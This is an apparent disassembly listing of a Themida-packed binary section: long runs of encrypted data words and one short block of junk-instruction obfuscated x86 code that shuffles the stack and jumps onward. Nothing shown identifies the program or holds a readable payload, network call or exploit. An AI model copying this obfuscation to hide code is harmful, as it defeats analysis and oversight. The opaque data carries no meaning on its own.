		dd 0BF44C568h, 0FCC3A32h, 398CF1FEh, 0D558A52Ah, 8B3E8350h
		dd 35066B78h, 2BD67829h, 0A7F3E253h, 5640EE1Ah,	0C00D1C83h
		dd 0AA8BD9BFh, 43F673F8h, 7DB03DC2h, 0D35AE5EAh, 49FC8350h
		dd 0FB0618BAh, 0D769DC63h, 81D06B14h, 503728B2h, 3EC07561h
		dd 87DC5879h, 0D72F92D6h, 0BA5CEF92h, 391F20ADh, 49DA5CA1h
		dd 0F547F04Fh, 0E71A14A7h, 768B530Dh, 0EA42C669h, 2722ADBFh
		dd 2392h, 0A7EE5F00h, 0BC125DA2h, 3B58618Dh, 90E868DCh
		dd 755000F2h, 0EF9A2125h, 3BEB033Ch, 2243D1DCh,	0C6FFFFFDh
		dd 59A6A7EEh, 84373216h, 0DC3B5866h, 0FB899252h, 1AEA0F77h
		dd 4EE0A12Bh, 7BDC3B6Bh, 0D9A7851Dh, 3B6C46E8h,	501583DCh
		dd 34F19F8Ah, 55D8E253h, 769889D0h, 53E25334h, 929F6DC5h
		dd 0E2533480h, 9577CF49h, 0C00D1E87h, 0F9ACD9BFh, 36149966h
		dd 930F868h, 188D4C78h,	0DFB9C60Bh, 9F64E7AAh, 7CC5DD0h
		dd 0ABD5825Bh, 3F032C7Dh, 0C73h, 0CC31BC4Ah, 971AE579h
		dd 7CC10C10h, 49B437C9h, 139E63E2h, 1D2CEF59h, 49C66DD0h
		dd 6FF23984h, 97A81F62h, 8D6E74Ah, 532DF519h, 7B86DCE2h
		dd 72A4A7EEh, 0D396EEF3h, 29569BACh, 0B3FC0102h, 0D59A67F8h
		dd 7807CA5Eh, 30AA8910h, 0EA59583Fh, 0B1299459h, 47F01174h
		dd 0DEFh, 12CD5000h, 0A0DC3B64h, 0FFFC4872h, 7A4A37FFh
		dd 0AB68592Bh, 26E24D78h, 0D228DB2h, 0F6E24D79h, 6FC66974h
		dd 0EA6E11DEh, 1D22ADBFh, 1E8073EAh, 0EB674AADh, 4E02353Ah
		dd 1E1A1h, 4DCD0E00h, 9BDC3B59h, 12DF60A5h, 0FA0718AFh
		dd 593C7AB5h, 3B82DC3Bh, 6B788B38h, 5261A006h, 0F374A12Dh
		dd 33347BEEh, 0D869DCAEh, 5EEC640Bh, 4226A085h,	19541194h
		dd 0DF619192h, 0D8A6841Ch, 3BF745E9h, 51148CDCh, 0F7A1D9D0h
		dd 0C51CDC3Bh, 0B4A97AF6h, 87D047F0h, 99000001h, 0D5A3B649h
		dd 3B594AE4h, 101187DCh, 0DC3B58FEh, 0F3CDDA1Eh, 0DD5A1F61h
		dd 0E95CE37Bh, 26248956h, 0E4616EFFh, 0C4E972B2h, 111CDB8Ah
		dd 2A17F54Dh, 0E24E6475h, 57BBC45Ch, 0EF905DEEh, 1DCDFC69h
		dd 80E24E65h, 3FC443F2h, 64D27C2Dh, 99FFE24Eh, 0BEA695ECh
		dd 654DE1D0h, 1C84E24Eh, 22141169h, 484F4E03h, 30000000h
		dd 592B7A4Ah, 59E7A30Bh, 10703FC4h, 0EAD0B372h,	0F5A26F7Fh
		dd 49E24DEEh, 46219B3Bh, 32323688h, 288080AFh, 0CEDC443Dh
		dd 483DC247h, 0F21A30FFh, 7C83E24Dh, 2A3C697Dh,	0CDB898A7h
		dd 2AA78B5h, 0BEE34Eh, 494C0000h, 0FA0704B6h, 0D756DD62h
		dd 75F42627h, 0F7B81068h, 1926ABBCh, 61CC1112h,	3B70F34Eh
		dd 49DA4BDCh, 0F2FD0184h, 0B23FC077h, 81315F4Fh, 31E4C4Fh
		dd 0DC34B94Ch, 11ED5C8Eh, 3134B0AFh, 46DBBD09h,	0F54D9094h
		dd 9476CE4Ah, 5082DCA5h, 363560E2h, 5DBBBCA9h, 0AD55214Fh
		dd 0ADDD7A38h, 40D2DFh,	0F89E251h, 405B05Ah, 121FEDFFh
		dd 0E2510000h, 6F1A4FC9h, 0D88449D8h, 7DAE140Fh, 4CC856D1h
		dd 6300000Ah, 1E9518E3h, 0C97CC10Ch, 0EE45A833h, 9B2E935Eh
		dd 70F8458Ah, 0BF44C506h, 6370FF32h, 4996AB1Eh,	31BE41E4h
		dd 36E3EFCCh, 0E253301Ch, 4950E1B5h, 63C62BB8h,	0EFAE13E0h
		dd 629B649h, 0F5D71C2Fh, 723DC040h, 43909316h, 4221243Ch
		dd 3B2F8h, 0F1CAB900h, 72F2E626h, 435176Fh, 0E2532279h
		dd 2ECE50C5h, 0A8A8D71Ah, 3C292F50h, 3A6CDD3Bh,	0D8C9DBEAh
		dd 0E8654DDBh, 0D2DD62F6h, 0E8654E3Ch, 125DA2A7h, 0BAC50A1Bh
		dd 1F8170E3h, 0EA6655ACh, 541A0A39h, 329A0h, 1DCD0900h
		dd 21DC3B59h, 0C16E73F4h, 42DB0247h, 0BEDC3B59h, 5445276Eh
		dd 0E24D73B3h, 0FBD6BA1Eh, 0DD7DB19Fh, 989CC52h, 0A6A40000h
		dd 0CF53D65Bh, 0F60AA10Ch, 212386EBh, 4DDC53DEh, 0C5333D80h
		dd 77FA0706h, 43AE3330h, 299459ECh, 0F17C8182h,	0DF733E2Ch
		dd 0EAE2532Fh, 0A7EE0DACh, 311758A3h, 7BFE0134h, 7762B02Dh
		dd 5150845Fh, 0DC3B69BDh, 56348C14h, 69B55948h,	9BC9DC3Bh
		dd 0C4322CCh, 4E3B9D1Ah, 367D49E1h, 0D25B6554h,	0E276E253h
		dd 0D4DB2B9Fh, 1539E8F6h, 0BCE253D3h, 0ECDD2124h, 0E86B9CD8h
		dd 0B78567F1h, 4CF3FE0Eh, 5DEA91D4h, 14022D90h,	8CE86B9Eh
		dd 0B80F7241h, 121926ABh, 8BA3CC11h, 1F33FE3Bh,	0AAE86B9Eh
		dd 0C5F4D62Eh, 0EE7DC996h, 22B9A533h, 0AC71814Ah, 8D1BF83h
		dd 5EEC0000h, 879B2E93h, 0AEB2F944h, 0D96BDE23h, 504AB16h
		dd 8DFB75F8h, 0CF32BF4Eh, 9BE6EB78h, 61CC1114h,	49B439CAh
		dd 97BB6674h, 32E25330h, 7A4AD564h, 5C68592Bh, 0E0E25322h
		dd 0FC00B2B5h, 72CA4EF1h, 3CCB72F7h, 0D84D5FB7h, 0F43B864Bh
		dd 0F87EA077h, 602B6713h, 778B3A08h, 5AB0F174h,	0DF8A55EBh
		dd 76545BABh, 6A30394Bh, 7F0090E8h, 0DAA8F737h,	7C367CEFh
		dd 9FC355EEh, 7182DD26h, 4CE3BF88h, 63000008h, 1E9518E3h
		dd 0C97CC10Ch, 0EE45A833h, 9B2E935Eh, 70F8458Ah, 0BF44C506h
		dd 6370FF32h, 4996AB1Eh, 31BE41E4h, 36E3EFCCh, 0E253321Ch
		dd 4950E1B5h, 880629B6h, 0E92B7CFAh, 2227DA92h,	58E7EC7Fh
		dd 0CA79781Fh, 4549B439h, 9CAF4FD0h, 0D0B0FF57h, 0F50DD95h
		dd 678B47F1h, 74000001h, 9067A4Ah, 6C7A5F0Eh, 73CB3E08h
		dd 0EEFC54CCh, 52FD1100h, 69E6DC3Ch, 0FA7DDB64h, 7F50BA54h
		dd 0A62C641h, 74A18F5Fh, 0C246E9F4h, 8D335487h,	0B09EE24Dh
		dd 4D8C6D81h, 64FC64E2h, 8D36D4DBh, 0A0A1E24Dh,	3192C53h
		dd 461BB7F8h, 0A4AE7D06h, 472AB313h, 300356D5h,	25E73B0h
		dd 104EE4Eh, 49530000h,	2F0629B6h, 0C46AD71Ch, 0FEABB908h
		dd 0E24D66C1h, 0EBE78808h, 145BA6BAh, 66678BB6h, 0F662E24Dh
		dd 0A20EB9Eh, 0F3E24D67h, 23AEBEE7h, 0DC5C5F26h, 4E02234Fh
		dd 278Ah, 7A4A7700h, 2B68592Bh,	0A6E24D86h, 8CA20D32h
		dd 71E24D85h, 9E8F0BEEh, 0C54E023Eh, 88h, 34B94CF9h, 0E1580D0Bh
		dd 629B649h, 0AED11E2Fh, 0CB675220h, 6DC3B58h, 9FA0D792h
		dd 5062D52h, 2C9975F8h,	6497D21Fh, 0DC3B7501h, 196469FAh
		dd 7C4E5591h, 5021F44Dh, 697BDDE2h, 5DA02D3Ch, 0C68A57D6h
		dd 7DAEF1C9h, 0E4DA60CFh, 0DB000006h, 0F63D804Bh, 0A1046974h
		dd 46ED509Bh, 73B63BC6h, 0E880EDF2h, 27ACBD7Eh,	0BD857DAh
		dd 0F1FE03A6h, 0D926398Ch, 0AE9B4754h, 0E2533284h, 49E8094Dh
		dd 63C62BB8h, 0EFAE13E0h, 5B29B649h, 58B25C4Dh,	0B91FDC3Bh
		dd 37C863CCh, 794747AAh, 3B58A648h, 0B0B523DCh,	429Ah
		dd 0C0CA9F00h
		dd 1CEEB571h, 5322912Dh, 69D838E2h, 0B777A4B9h,	95AB1AE8h
		dd 2623254Ah, 0ECDAE5D4h, 3362E86Ah, 8583AC2Fh,	0F829AFC0h
		dd 403F5CEAh, 590808E8h, 6AFBC668h, 3D9503E8h, 421248h
		dd 4A170000h, 4B592B7Ah, 0A934C87Dh, 3B5856F8h,	60E573DCh
		dd 4D8756B9h, 5AE573E2h, 0B13EC174h, 77E405B4h,	2823E24Dh
		dd 662DF949h, 0A63A9584h, 7402E85Fh, 0FCF21585h, 0B1B6B37Fh
		dd 0BA40DA27h, 0C1000000h, 5DA2A7EEh, 95A66628h, 3B588AA4h
		dd 79D147DCh, 0A799DD6Bh, 84B8790Ch, 700C3DC1h,	0CCE253F0h
		dd 0E48207BEh, 0A6A3F010h, 4E7057C1h, 0FFF205D7h, 0F8414917h
		dd 5060AD9Ch, 0A9D05D15h, 650B4E08h, 0F4000000h, 592B7A4Ah
		dd 53225568h, 6E47CE2h,	60428D9Fh, 53229DB1h, 0B9AC34E2h
		dd 25F76E50h, 0C263DFD2h, 394E07DBh, 3Ch, 2B7A4A86h, 22566859h
		dd 58E6E253h, 30315469h, 112581A3h, 76E287C2h, 779B8694h
		dd 52E25304h, 907E83C6h, 0E50F50C2h, 0A7A2220Dh, 0A9C81A73h
		dd 0CEDD4ECAh, 12044E07h, 0E5000000h, 3B74F2CDh, 975CEDDCh
		dd 821068E8h, 0FFFFFF07h, 2B7A4A87h, 22286859h,	37A1E253h
		dd 5FED0755h, 577B4CCCh, 519D9512h, 2EB16042h, 9BE86A49h
		dd 0EC38723Dh, 9EDAC7A5h, 2BEE8212h, 18707D80h,	44879B0Ah
		dd 0A1A015F9h, 8853E95Ch, 0B2E461E7h, 73412372h, 0F7B845C2h
		dd 9F25D491h, 2AF499DCh, 0E0CEDCAEh, 99DD1D31h,	0FF01B4F4h
		dd 7DD5B3FCh, 33C04508h, 8784FFCEh, 0CAD88CC0h,	0A07CC7BCh
		dd 0B869D2CEh, 8CC0AC96h, 0FDA0A533h, 1E87656Ah, 0B658490Eh
		dd 138CC0ACh, 4D382D85h, 8D50D441h, 0B5FA0718h,	60E396D3h
		dd 8A5AEC93h, 2378293Bh, 0AE92D2ADh, 0AC5DF1A0h, 0EC7492D2h
		dd 1C65EB94h, 509DAE1Dh, 3EC346EDh, 0A5283A71h,	5326B19Ah
		dd 0E8763543h, 9150BE61h, 0D2918EA0h, 45DD3B92h, 16C85D00h
		dd 9270C815h, 6EF11F23h, 115C0961h, 357A879Ah, 0EE879AFDh
		dd 0EEA9BC0Bh, 34D410D7h, 6AD72FE4h, 29784A33h,	0D71C2F06h
		dd 5CC995A8h, 364104C9h, 6E35F743h, 879A0B03h, 0B50DD257h
		dd 5948EAD7h, 1781DC3Bh, 0D71C2F52h, 8D5CEAF0h,	0C43E3A3Ah
		dd 0DCB678EDh, 1DAA89E0h, 0B0424F0Ah, 19DC3B5Ah, 0B3E627BFh
		dd 0AC032CAFh, 0DC3B5A82h, 0E2F2C158h, 578A0754h, 0E0600FD4h
		dd 76841742h, 37BA4CF3h, 1DE267CAh, 0C3B05F52h,	0D52CDC3Bh
		dd 0B3B7FEE6h, 44010728h, 0E5C70C11h, 23944917h, 0BA05B12Bh
		dd 3C19678Bh, 73F662DCh, 3A5E35F4h, 274DC3Ch, 47F0F81Eh
		dd 0FFFF685Bh, 3ACE77FFh, 42E20C3Dh, 69EFDC3Ch,	49D55411h
		dd 0C6C429B6h, 4401CE5Fh, 0E6C10E11h, 9CEDACBFh, 3758EB05h
		dd 5F3E0961h, 0C546F5C4h, 0BC698938h, 2747F020h, 50h, 1100EE88h
		dd 0DC3B58FDh, 51194CD4h, 6E3C0E95h, 2ADCCDCFh,	0CA105564h
		dd 53EAC4DFh, 0C7410DE2h, 54D166A2h, 0F7BF88E0h, 0AB8EE99Dh
		dd 0E2C0CF1Fh, 4092514h, 0DAC0E254h, 540443EFh,	0B20A8EE2h
		dd 697A27B7h, 60E86BCDh, 5015B1F0h, 14000000h, 592B7A4Ah
		dd 53225768h, 0ABBEE7E2h, 0F121926h, 43DBBDC2h,	0F5BA47C6h
		dd 791D693h, 94E97E20h,	0DCD9F886h, 0A1317506h,	2A2E519Eh
		dd 0EDCC97D2h, 2002915Dh, 6AFB6E71h, 4CD05BE8h,	0EA5B2981h
		dd 0ABD2975Ah, 32DCCDDBh, 9FE86AFCh, 49ED4C39h,	4D5B29B6h
		dd 87864BD8h, 0DC3B586Bh, 3A77F266h, 9EE3F073h,	0E862FE8Ch
		dd 0DB34DECBh, 3B9DDC3Bh, 0E414CF69h, 0A6ED3961h, 18A6D5C4h
		dd 0FB6E24Eh, 0CB4DF2FDh, 307FD99Eh, 0BD86BDAh,	8CAD2664h
		dd 7D30364Eh, 91B960E5h, 0CE24D69h, 998A06F5h, 0C04E0226h
		dd 5Eh,	2A40EEA9h, 38DAC79Fh, 91DC3B91h, 1C076507h, 0C6697689h
		dd 0CB7FEA42h, 0C8D6B4FBh, 9F8ACB5Dh, 0DC3B7C73h, 2762FA5Eh
		dd 0B296D926h, 0AA4F04B7h, 1E7AE24Dh, 0AAB05E51h, 1C2BE24Dh
		dd 8285A8D7h, 0E97B327Dh, 433681E6h, 299C6AD9h,	0A0A0CF14h
		dd 63DFD2A5h, 4E0263C2h, 0D839h, 0A7EE8600h, 0BC125DA2h
		dd 3B58618Dh, 90E868DCh, 509DAED5h, 763FC372h, 0FABFF13Eh
		dd 0BCC35BC2h, 2D00A1A4h, 85A8D71Ch, 2CF5082h, 338AD8AAh
		dd 52623036h, 2C07A0A5h, 406BD61Bh, 0DC3BA575h,	0AD10DD6Eh
		dd 0EAF80506h, 1A25AABBh, 0B4FE4B3Eh, 0EA5B2978h, 6CE48B56h
		dd 0B2415F9h, 0C6E24DD8h, 8B5BEF52h, 247B2604h,	0ADE86288h
		dd 5DEC592Bh, 87862D90h, 8CA3167Ah, 0A25779Ch, 1B634h
		dd 76798900h, 5FA2A40Bh, 6C95FD2h, 0E9F474BBh, 0D3202184h
		dd 6BA81E6Eh, 5A815DAh,	3174F906h, 0D75AA72Ch, 19228F54h
		dd 37B25C4Dh, 7B1FE253h, 2BB8493Eh, 0CB51C4C6h,	58739F8Ah
		dd 0FA5EDC3Bh, 0AFB0E762h, 4BDFFD0Fh, 199FF80h,	8DA1907Eh
		dd 44DC3B58h, 81EC44DCh, 2B7A4ADEh, 862B6859h, 6533E24Dh
		dd 4ADB49D9h, 6AADE785h, 0AA2E4306h, 0BD86DD8h,	30DED15Eh
		dd 0ADE24DD5h, 3AEB674Ah, 0A14E028Dh, 0B6h, 29B6490Eh
		dd 8A57EA5Bh, 4ADB52DFh, 0E237FA85h, 0DDDC3B5Dh, 0F538854Ah
		dd 3CC14072h, 0F2BD1573h, 47256CB8h, 4D8FB95Ah,	3D8010E2h
		dd 986A39F5h, 623C73A9h, 0CB5ACBE8h, 0AA2E4306h, 33DFCAD8h
		dd 9EE8623Dh, 76BF4F3Ah, 2087EAF7h, 0F3B0DC21h,	7D779CD6h
		dd 0D56C32h, 5AE80000h,	83872A97h, 0AABEF578h, 0D557DA27h
		dd 100A70Ah, 89FF71FCh,	0CB36BB4Ah, 971AE764h, 7DC00D10h
		dd 45A83536h, 93BF6A78h, 3EE25338h, 0B849D918h,	585EF0A1h
		dd 0BCBEDC3Bh, 0D5085122h, 35E4EA4Dh, 0DC3C3D19h, 70C820B0h
		dd 9094010Dh, 14383F4Dh, 0C31C8AD3h, 8350D386h,	40EE7F3Eh
		dd 292C7483h, 0A3134C3h, 0AF16F4F9h, 9A17529Dh,	0DD6E9093h
		dd 47C46F10h, 67CA22BAh, 36B5D967h, 10D57928h, 64FCDC3Ch
		dd 0AB08DCC6h, 43ECF17Eh, 4ADD80C5h, 72F53885h,	6DEFC26Dh
		dd 463C5CC8h, 9CAF1C1Fh, 0C447EA57h, 2B3D703Fh,	28B19FA0h
		dd 6469FA49h, 0C70C1F86h, 0D76DD8B8h, 78ED6B14h, 58A5A60Dh
		dd 8649DB4Ah, 8D866C3h,	0A000000h, 0C79869Bh, 49F148ADh
		dd 220936B9h, 9893DC21h, 7C377885h, 0D65DE2EFh,	4EE58A57h
		dd 260D32BFh, 9194DB26h, 743F408Bh, 3940EFF2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	1F3Ch
		mov	[esp], ebx
		push	89Bh
		mov	[esp], edi
		push	edx
		push	eax
		push	3F90678Dh
		pop	eax
		not	eax
		and	eax, 2C2117A6h
		sub	eax, 0BC7BBB84h
		mov	edx, eax
		pop	eax
		mov	ebx, 45B29F15h
		xor	ebx, edx
		pop	edx
		push	0DC2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		mov	esi, ebx
		push	eax
		mov	eax, 8
		add	eax, edi
		mov	[eax], esi
		pop	eax
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55CE7E
; ---------------------------------------------------------------------------
		dd 0B8AAB493h, 617E19Bh, 0E0FFC503h, 537ACAF7h,	645DEF51h
		dd 18E46AE6h, 4CCB9BB0h, 564D054Ch, 3C2E64F9h, 3A4B1A9Eh
		dd 215B9FCCh, 34E72439h, 5F8290D4h, 0F96CAFFh, 396462B4h
		dd 531D33E6h, 13FF567Dh, 29C6B828h, 4AE59726h, 783B37DCh
		dd 1A13D29Fh, 65D115A3h, 3385387Ah, 2C163354h, 5731A114h
		dd 0BD9267h, 6E95303Eh,	4658BC8Fh, 0E3348D8Dh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 813A0FC3h, 8D89C68Bh, 6122791h, 343985C7h, 5C180612h
		dd 858B0000h, 61219CDh,	2E5D85C7h, 612h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 7929F1C3h, 5EDB5FFh,	6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 95387CC3h, 0D0273573h
		dd 0C2811A53h, 19785FE4h, 95FFF38Bh, 6120AC9h, 278D8589h
		dd 6A0612h, 247595FFh, 0C08B0612h, 0AEA30FEBh, 0F3B14738h
		dd 0E2099767h, 28A5663Ah, 24EB7Eh, 8 dup(0)
		dd 0E9000000h, 0BDh, 0E34AB589h, 858B0617h, 6121FE9h, 45858Bh
		dd 0B58D0612h, 617E394h, 5098858Dh, 0D0FF0615h,	0E855C3h
		dd 5D000000h, 0E39AED81h, 0BD830617h, 6121FE9h,	2C850F01h
		dd 0FF000000h, 17E34AB5h, 45858B06h, 35061200h,	34812736h
		dd 13CD0FFh, 0A850Fh, 1B80000h,	0E9000000h, 47h, 40E9C033h
		dd 6A000000h, 4EB58D1Ch, 560617E3h, 0E34AB5FFh,	858B0617h
		dd 6120045h, 81273635h,	83D0FF34h, 0B58D0CC4h, 617E34Eh
		dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h
		dd 1B80000h, 83000000h,	121FE9BDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 73858DCFh, 890617E3h, 12339185h, 0AEE906h
		dd 940C0000h, 943796h, 50000h, 10000h, 0A280000h, 20000h
		dd 26h dup(0)
		dd 0B2DE9h, 0E6776800h,	75E90617h, 68FFFA9Bh, 617E7A2h
		dd 0FA9B6BE9h, 0E8A068FFh, 61E90617h, 68FFFA9Bh, 617E91Fh
		dd 0FA9B57E9h, 0EA0868FFh, 4DE90617h, 68FFFA9Bh, 617EA69h
		dd 0FA9B43E9h, 0ED7B68FFh, 39E90617h, 68FFFA9Bh, 617EE9Eh
		dd 0FA9B2FE9h, 2DDB29FFh, 0FCA27DCCh, 0CA768CE3h, 9C40C22Dh
		dd 6B17EC43h, 64D3F78Eh, 0BB16F39Fh, 0CB26C369h, 147B9436h
		dd 1384650Dh, 670BCA1Eh, 89A500EDh, 0EA946D50h,	0A0F60F9Eh
		dd 0AFCAB662h, 6DAAD730h, 0FA82DA1Bh, 8C097406h, 0C07DDFFFh
		dd 0E8841CA8h, 55231A0Ch, 0E88DC80Dh, 9BF7B800h, 0E588C5C7h
		dd 3BAAD6h, 6F4F0000h, 3850ED4Fh, 0CE8A5A4h, 57FD0712h
		dd 0AF5382E6h, 8EED00E8h, 87F54815h, 0E8AFFAFFh, 0D7318A00h
		dd 718D5EC4h, 54C4A1CFh, 0DB58A4ADh, 0F8E8C0AAh, 91D6E5E2h
		dd 0D8h, 0EE02BF30h, 6FA82EFh, 63031E49h, 1006FE4h, 65A22B59h
		dd 0E1504B9h, 3099E360h, 0D23B49F1h, 1A4EAB53h,	6FA7EF4h
		dd 0A16135CCh, 0FF0089F7h, 8061DC5Bh, 422ED829h, 2A93F5C9h
		dd 0E88AA6C6h, 0BD800Ch, 1E6A0C11h, 0A08D1E7Eh,	0BA39329Ah
		dd 8C9BA039h, 0C2BFCD75h, 89A2441h, 0E835F1E0h,	4FEC4F00h
		dd 0E835B839h, 0A8271600h, 9462FD13h, 0C9B40AF5h, 701EE574h
		dd 1CC45CCBh, 8325F950h, 78FD78F5h, 4FFB0867h, 0B4B90984h
		dd 96A0AC64h, 8ECh, 815E0E1Ah, 0D031D52Eh, 0E2FFA979h
		dd 30D1738Fh, 439C4AD9h, 0D2510638h, 9C64CB24h,	69B41BF4h
		dd 40C128C9h, 6B207996h, 0ED64D405h, 0D547200h,	0FE8966Dh
		dd 618761A0h, 6FA8270h,	31C6FCEh, 0A007E05Fh, 809621BFh
		dd 89FAFB0Dh, 0E95406FAh, 29FC7A77h, 0FA4516C7h, 4ECDB006h
		dd 4F3DE73Fh, 0AD4B132h, 1FF315A6h, 370CE862h, 9868F744h
		dd 6CE984F0h, 77857000h, 0B8F500E8h, 77E4157Bh,	0FB4200E8h
		dd 7361C97Ah, 5731FE4h,	0B434EB68h, 8D6E57Eh, 125E0819h
		dd 0CEBCDE57h, 25000000h, 406221BFh, 717BC212h,	0DC8C95F4h
		dd 4488499Fh, 572606FAh, 0FA440CCDh, 0B8D3AA06h, 0B6B3C169h
		dd 9097823Bh, 5ADB96E2h, 0BE6CBB12h, 0B81CA2B2h, 0DD2406FAh
		dd 0AC75D435h, 58E0B91Fh, 0FAEBC130h, 0BC1C1F06h, 31AC0701h
		dd 92F6C843h, 0A07DEC29h, 531385FEh, 4B0CE81Eh,	47DC4BF0h
		dd 6CC11A9Bh, 3B4DEE52h, 0AF5E377h, 0D0BFFC7Fh,	354AA753h
		dd 0B330DC2Ah, 4B9D4FD4h, 0ADDF08Ah, 0BDA5924h,	64B4C58Ch
		dd 0C115232Fh, 0CF000007h, 36E8B39h, 52BD5A00h,	60CF28D4h
		dd 0B21DFA9Eh, 1528C975h, 51FD0A31h, 21C759B0h,	0F29469C0h
		dd 0C36BBA15h, 2840FD26h, 0ED65A9h, 0BFF66B07h,	97EBDD21h
		dd 0CB485D9Bh, 5EBB67BCh, 6F8832F3h, 0EA946D08h, 4CF60F9Eh
		dd 0EFBD91EFh, 6648C977h, 1FBF0CEDh, 0A8E800BDh, 60CE50Dh
		dd 8B9B8637h, 0D04FF10Dh, 0AA7BE653h, 3E63761Dh, 6CEB914Ch
		dd 1BBF40CFh, 7617419Ah, 0C000E2D4h, 6789901h, 288C5235h
		dd 0D6317D93h, 88850AF0h, 0D0DA7160h, 39CE0C0Ah, 0DBC32C70h
		dd 4FD0BB82h, 25A0DDABh, 0CE788998h, 2D4EC7A2h,	98057F3Bh
		dd 19576794h, 4A125E08h, 446968C9h, 0E762E1EFh,	90DE3256h
		dd 85F8931Bh, 0E10744F7h, 0A0FFE0F0h, 1976EF4Eh, 9DDA63C5h
		dd 0FFE08A4Bh, 0DC5924A0h, 63A8095Fh, 5B86AAEDh, 165321CBh
		dd 0EE37229Bh, 0BD44AB44h, 371BC215h, 0F27E04A8h, 6C324h
		dd 8937CD00h, 58FE0168h, 26D250BFh, 0F89C66C9h,	0C773B01Fh
		dd 82F132Ah, 5FB24FFBh,	6FC21FC5h, 0B817F092h, 0FF20C169h
		dd 6AAF2E42h, 6D0900EDh, 0F04F6FF4h, 63076E6Fh,	3885008Ah
		dd 0E54D60D0h, 0BEFF7E0Ch, 4DAA50D3h, 5C9DF330h, 0FA00E2FAh
		dd 79EAB99Eh, 0C7422D95h, 27E0234Eh, 71924EE2h,	0FCE2294h
		dd 0A900E25Fh, 0ACD857D2h, 0FB9F60EFh, 6C16EF7Ah, 0A6308AA5h
		dd 97A1AD5Eh, 644h, 0E906B672h,	38D97D86h, 4AA751D1h, 98791BE7h
		dd 0AB44F231h, 7A89AE90h, 44DC33CCh, 11EC439Ch,	0E8399071h
		dd 0C378A13Eh, 0ED6B2CADh, 75EC8A00h, 50ED4F6Fh, 0E5DEF838h
		dd 0D667D60Ch, 0F710BA4Bh, 5EDF479Ah, 0ED66DF0Ah, 99221900h
		dd 56CF778Eh, 669A5E26h, 0A5EA00EDh, 63FBF5CDh,	0DE49D6E0h
		dd 92EF9D49h, 307911h, 6F180000h, 3D53E852h, 6FA8340h
		dd 8B962716h, 2A52D379h, 0FA829F5Ah, 0D0BAEF06h, 0E68C9782h
		dd 873AAA6Dh, 757D0F7h,	0F2000000h, 176D2h, 0B37AB700h
		dd 0DAE12ACh, 0E880B7FBh, 233C3F0Ch, 4BF1331Eh,	5DC3403Dh
		dd 628321D2h, 15A60AD4h, 54151FF3h, 384437B9h, 14A90BD3h
		dd 26E19DFCh, 3B80FBB7h, 0AE2F41FEh, 8C71EE3h, 50D1B035h
		dd 1FE649A6h, 0B489AC77h, 0A0AC1A71h, 55B96h, 0F19F6500h
		dd 0C066B910h, 8E3AC827h, 60041E71h, 2FDB2887h,	0A097ABD2h
		dd 0F75AB763h, 76A872Dh, 50BF58FAh, 57C829D1h, 6847B6DAh
		dd 0C5E100EDh, 0EA946D9Ch, 3183DD9Eh, 0DDEAC3C6h, 5D610E87h
		dd 0D92642FBh, 377B691Dh, 0FA0EAB28h, 0CE84872h, 96081FCh
		dd 38874EF8h, 9B5E9FADh, 4FAC1EFh, 40000h, 0C758B750h
		dd 9B6BC623h, 65B910F1h, 3CCB26C3h, 0F8CA718Eh,	0F916C443h
		dd 9E68E96h, 5EBB5BA6h,	6F8832F3h, 0E6177936h, 4000ED68h
		dd 946D3FA2h, 0F60F9EEAh, 0CAB662A0h, 9F1AC043h, 0B3C5420h
		dd 7822E31Fh, 8728989Fh, 5141D0F7h, 3A000000h, 0AF31D32Fh
		dd 2CA1A01Fh, 354CC915h, 50ED4F6Fh, 0E882E438h,	0DD27B20Ch
		dd 0B12C4937h, 8246B3C3h, 0F53600E8h, 0AE58A9B8h, 0E882B726h
		dd 3AE02300h, 0A821A61h, 0BA4AB4CCh, 5FCB7CF9h,	0EF3E1771h
		dd 5115B2F6h, 91931DD4h, 24FCD6E5h, 65000000h, 50ED4F6Fh
		dd 0E8329838h, 3687F60Ch, 0D532D82Bh, 0E8D25783h, 9A44DD00h
		dd 6D11127Dh, 436311Fh,	6FD00000h, 3CBDD34Fh, 9A06FA82h
		dd 600CB64Fh, 0B20B8605h, 0CA585EA7h, 9817521Eh, 0A71491ECh
		dd 0E882C541h, 219AE10Ch, 5DA7EB36h, 0B1BB38B7h, 0CD3CC958h
		dd 901A7590h, 953C48C7h, 0B608F65Ch, 387E952h, 0A30AFAD9h
		dd 51D03FD8h, 6E70DBA9h, 2A57B10Ah, 982DDA1Eh, 0DD5382E6h
		dd 8EED0ADEh, 9746AA13h
dword_5A7268	dd 310ADEDDh, 46CC94Ah,	0CCC12Ch, 4A65136Ah, 0A9249BF5h
					; DATA XREF: Themida_:005689E5o
		dd 0D3EE24DCh, 35D7066Ah, 0A7114CCh, 0B672D889h, 0C52AC76Fh
		dd 0E92697F9h, 0CC355687h, 5DB3F014h, 14CC359Ch, 4FC4433Ah
		dd 0B25BB5F2h, 0C1D8525Dh, 653CB66Ah, 0AB5BE8FBh, 0CCE59445h
		dd 0CC4B3214h, 0CDBB65BDh, 3DAD33B0h, 0B91EDE11h, 109191DFh
		dd 0B298F9F8h, 74E4571Eh, 80FF1E60h, 0E28C95F4h, 49EB3796h
		dd 0AC50D23Bh, 0B1998AC0h, 218C4DA3h, 532A1EB2h, 78D21BD4h
		dd 6BD0348Ah, 0A0D5C505h, 0FD1A6114h, 0ECED0340h, 7818A03Dh
		dd 0DE5DFEAAh, 53FB0A65h, 0B35FA425h, 5FCB7CC5h, 3B862A3h
		dd 3D33A2C6h, 0AE8D18A0h, 6777D435h, 5850B805h,	3612B221h
		dd 996BF647h, 830A72F3h, 93ACD882h, 0AA952AEh, 0EB37159h
		dd 8876DC95h, 2C69D236h, 96F815C4h, 8DD5B322h, 5C3B27DAh
